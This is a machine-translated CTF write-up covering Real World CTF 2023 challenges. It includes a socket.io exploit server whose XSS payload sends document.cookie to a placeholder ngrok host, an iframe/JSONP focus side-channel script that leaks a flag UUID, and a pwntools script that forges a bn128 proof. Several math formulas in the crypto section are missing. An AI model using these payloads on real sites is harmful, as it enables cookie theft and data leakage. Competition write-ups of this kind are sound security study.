Real World CTF 2023 Writeups
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This time I participated in Real World CTF 2023 with Balsn members, solving Web x2 and Crypto x1. Here is a brief record of my approach.
Web
ChatUWU
A client-side challenge, the core part:
function reset() {
location.href = `?nickname=guest${String(Math.random()).substr(-4)}&room=textContent`
}
let query = new URLSearchParams(location.search),
nickname = query.get('nickname'),
room = query.get('room')
if (!nickname || !room) {
reset()
}
for (let k of query.keys()) {
if (!['nickname', 'room'].includes(k)) {
reset()
}
}
document.title += ' - ' + room
let socket = io(`/${location.search}`),
messages = document.getElementById('messages'),
form = document.getElementById('form'),
input = document.getElementById('input')
form.addEventListener('submit', function (e) {
e.preventDefault()
if (input.value) {
socket.emit('msg', { from: nickname, text: input.value })
input.value = ''
}
})
socket.on('msg', function (msg) {
let item = document.createElement('li'),
msgtext = `[${new Date().toLocaleTimeString()}] ${msg.from}: ${msg.text}`
room === 'DOMPurify' && msg.isHtml ? (item.innerHTML = msgtext) : (item.textContent = msgtext)
messages.appendChild(item)
window.scrollTo(0, document.body.scrollHeight)
})
socket.on('error', msg => {
alert(msg)
reset()
})
The server side uses DOMPurify to filter the content of the DOMPurify
channel, so server XSS is not possible. However, it constructs the socket.io connection object from location.search
, and it uses a different parser (not window.URL
), so there is an opportunity to exploit it.
Testing revealed that /?peko@miko
would treat miko
as the host part, so you just need to write a socket.io server to send the payload and let it connect to achieve XSS.
URL: http://47.254.28.30:58000/?nickname=peko@XXX.ngrok.io/?%23&room=DOMPurify
Server:
const app = require('express')()
const http = require('http').Server(app)
const io = require('socket.io')(http, {
cors: {
origin: '*',
methods: ['GET', 'POST']
}
})
const hostname = process.env.HOSTNAME || '0.0.0.0'
const port = process.env.PORT || 8000
app.get('/', (req, res) => {
res.send('123')
})
io.on('connection', socket => {
console.log(socket.handshake.query)
socket.on('msg', console.log)
console.log('sending')
socket.emit('msg', {
from: 'xss',
text: '<img src onerror="(new Image).src=`https://XXX.ngrok.io?${document.cookie}`">',
isHtml: true
})
})
http.listen(port, hostname, () => {
console.log(`Exploit server running at http://${hostname}:${port}/`)
})
// rwctf{1e542e65e8240f9d60ab41862778a1b408d97ac2}
the cult of 8 bit
This is also a client-side challenge. The goal is to steal the note URL where the admin hides the flag, as the URL itself can be accessed just by knowing the UUID, without additional access control.
The key part of the challenge is in post.ejs
:
<script>
<%_ if (locals.POST_SERVER) { /* posts are stored on a different page */ _%>
const POST_SERVER = "<%= POST_SERVER %>";
<%_ } else { /* post server is on the same origin */ _%>
const POST_SERVER = "";
<%_ } _%>
const $ = document.querySelector.bind(document); // imagine using jQuery...
function load_post(post) {
if (!post.success) {
$("#post-name").innerText = "Error";
$("#post-body").innerText = post.error;
return;
}
$("#post-name").innerText = post.name;
$("#post-body").innerText = post.body;
}
window.onload = function() {
const id = new URLSearchParams(window.location.search).get('id');
if (!id) {
return;
}
// Load post from POST_SERVER
// Since POST_SERVER might be a different origin, this also supports loading data through JSONP
const request = new XMLHttpRequest();
try {
request.open('GET', POST_SERVER + `/api/post/` + encodeURIComponent(id), false);
request.send(null);
}
catch (err) { // POST_SERVER is on another origin, so let's use JSONP
let script = document.createElement("script");
script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`;
document.head.appendChild(script);
return;
}
load_post(JSON.parse(request.responseText));
}
</script>
P.S. The
POST_SERVER
is not used, so it can be ignored.
This immediately reminded me of the Secure Paste challenge I created for HITCON CTF 2022, which also used URL parameters to inject JSONP callbacks. However, here JSONP is used as a fallback, so we need to cause an error in the two XHR operations to exploit it.
The most common way to cause an error is to make it a null origin, which occurs in sandboxed iframes and windows opened by sandboxed iframes (window.open
). (Ref: iframe and window.open black magic)
After doing this, we can control the JSONP callback, but it will go through this replace, so there is not much we can do, only call functions or delete properties.
At this point, I looked at other parts of the code and found that home.ejs
has this:
<a target="_blank" href=<%= todo.text %>>
Obviously, just using https://a? onfocus=alert() id=x
and adding #x
when browsing the page can achieve XSS, and since todo is per account, this is a self-XSS.
A common method to turn self-XSS into XSS is through CSRF login, but the login route in this challenge is protected by a CSRF token, so it cannot be done directly. Therefore, I thought about using the JSONP part to steal the CSRF token.
I referred to the unintended solution of Secure Paste, which uses focus to achieve char-by-char side-channel leaks of anything on the page. This successfully obtained individual characters of the CSRF token. However, when I tried to leak the entire token, I found that the token changes every time the page is refreshed, and the server has Cache-Control: no-store
, blocking this approach.
Then I thought that the JSONP leak technique could also be combined with window reference to leak other things on the page, which is what the original unintended solution did. However, in this case, it is blocked by the null origin fact. To control the JSONP callback, the page must first become null origin, causing the XHR to error, so all feasible paths are blocked...?
After being stuck for a while, I remembered that iframes have an allow attribute, which can specify policies to control the features accessible within the iframe, and sync-xhr
is one of them. Therefore, by blocking sync-xhr
, we can control the JSONP callback in a same-origin context and leak other things on the page (such as the flag URL on the home page).
Testing showed that this works, but the allow policy and sandbox have some differences. The sandbox attribute is inherited by windows opened by window.open
, but allow is not. Fortunately, this challenge does not prevent us from embedding the target site in an iframe, so this is not an issue.
Combining window reference to leak the flag URL on the home page, I successfully leaked the UUID in a normal Chromium environment. However, in headless Chromium, I found that the onfocus
in the iframe
did not work for some reason. So I referred to the unintended solution author's method, using setInterval
and document.activeElement.name
to correctly detect focus, which works in headless Chromium.
index.html
:
<script>
const host = 'http://localhost:12345'
window.open('/exp.html', '_blank')
location = host
</script>
exp.html
:
<script>
const elonload = el =>
new Promise(resolve => {
el.onload = () => {
el.onload = null
resolve()
}
})
const newFrame = (name, cb = () => {}) => {
const frame = document.createElement('iframe')
frame.name = name
frame.srcdoc = name
cb(frame)
document.body.appendChild(frame)
return frame
}
const log = (...msg) => {
console.log(...msg)
fetch(`/log/${msg[0]}`, {
method: 'POST',
body: JSON.stringify(msg, null, 2)
})
}
window.onload = async () => {
const host = 'http://localhost:12345'
const id = '961efacc-78b1-4eb9-8b81-f8001560e9e2x'
const HEX = [...'0123456789abcdef-']
const hexFrames = HEX.map(c => newFrame(c, f => (f.style.display = 'none')))
const fr = newFrame('fr')
const sbx = newFrame('sbx', f => {
f.allow = "sync-xhr 'none'"
f.srcdoc = `sbx<script>onmessage = e=> eval(e.data)</` + `script>`
})
await Promise.all([fr, sbx].concat(hexFrames).map(elonload))
const makePromise = () =>
new Promise(res => {
const it = setInterval(() => {
const p = document.activeElement.name
if (HEX.includes(p)) {
document.body.focus()
res(p)
console.log(p)
clearInterval(it)
}
}, 500)
})
log('prepare done')
let res = ''
for (let i = 0; i < 36; i++) {
const callback = `top.frames[top.opener.document.body.children[1].children[0].children[0].children[0].children[3].children[0].children[0].children[0].textContent[${i}]].focus`
sbx.contentWindow.postMessage(
`location = '${host}/post/?' + new URLSearchParams({id: '${id}' + '?callback=${callback}#'}).toString()`,
'*'
)
res += await makePromise()
log(res)
sbx.srcdoc = `sbx<script>onmessage = e=> eval(e.data)</` + `script>`
await elonload(sbx)
}
log('done')
}
</script>
rwctf{val3ntina_e5c4ped_th3_cu1t_with_l33t_op3ner}
Crypto
0KPR00F
This challenge is related to ZK Proof and uses a pairing-friendly curve bn128. Although it sounds intimidating, it is actually quite simple because the goal is to generate a proof using the provided proving key to pass the verification of the verifying key.
Recommended articles: BLS12-381 For The Rest Of Us, BN254 For The Rest Of Us
The knowledge required for this challenge is just the basic property of pairing , which is that it is a bilinear function:
However, since bn128 uses a twist, there are two subgroups and , so the pairing is actually:
The order of and is reversed because the pairing
function in py_ecc
is defined this way, so the order cannot be arbitrarily swapped, but the previously mentioned property still holds.
Key generation
First, two random numbers are chosen, and two lists PKC
and PKCa
are calculated. The pair (PKC, PKCa)
serves as the proving key:
represents a length, which in this challenge is . Here, and refer to two generators.
Next is the verifying key (VKa, VKz)
:
Where is a polynomial, and in this challenge:
Verification
The proof consists of three points (PiC, PiCa, PiH)
in , which must satisfy:
Expanding the verifying key:
Finally, we get:
Solution
To satisfy this, the simplest way is to take , then can be calculated using the previous :
Similarly, can be calculated using the previous :
This solves the challenge, although a normal zk proof would likely take (pure speculation).
import os
from py_ecc import bn128
from pwn import remote
import ast
lib = bn128
FQ, FQ2, FQ12, field_modulus = lib.FQ, lib.FQ2, lib.FQ12, lib.field_modulus
G1, G2, G12, b, b2, b12, is_inf, is_on_curve, eq, add, double, curve_order, multiply = (
lib.G1,
lib.G2,
lib.G12,
lib.b,
lib.b2,
lib.b12,
lib.is_inf,
lib.is_on_curve,
lib.eq,
lib.add,
lib.double,
lib.curve_order,
lib.multiply,
)
pairing, neg = lib.pairing, lib.neg
def sum_points(ps):
R = add(ps[0], ps[1])
for p in ps[2:]:
R = add(R, p)
return R
io = remote("47.254.47.63", 13337)
io.recvline()
io.recvline()
io.recvline()
PKC, PKCa = ast.literal_eval(io.recvlineS().strip())
PKC = [(FQ(x), FQ(y)) for x, y in PKC]
PKCa = [(FQ(x), FQ(y)) for x, y in PKCa]
print(PKC)
print(PKCa)
assert len(PKC) == 7
assert len(PKCa) == 7
# PiH = G1
# PiC = multiply(PiH, Z(t))
# PiCa = multiply(PiC, a)
PiH = G1
poly = [24, -50, 35, -10, 1]
PiC = sum_points([multiply(P, a % curve_order) for a, P in zip(poly, PKC)])
PiCa = sum_points([multiply(P, a % curve_order) for a, P in zip(poly, PKCa)])
proof = (PiC, PiCa, PiH)
print(str(proof))
io.sendline(str(proof).encode())
io.interactive()
# rwctf{How_do_you_feel_about_zero_knowledge_proof?}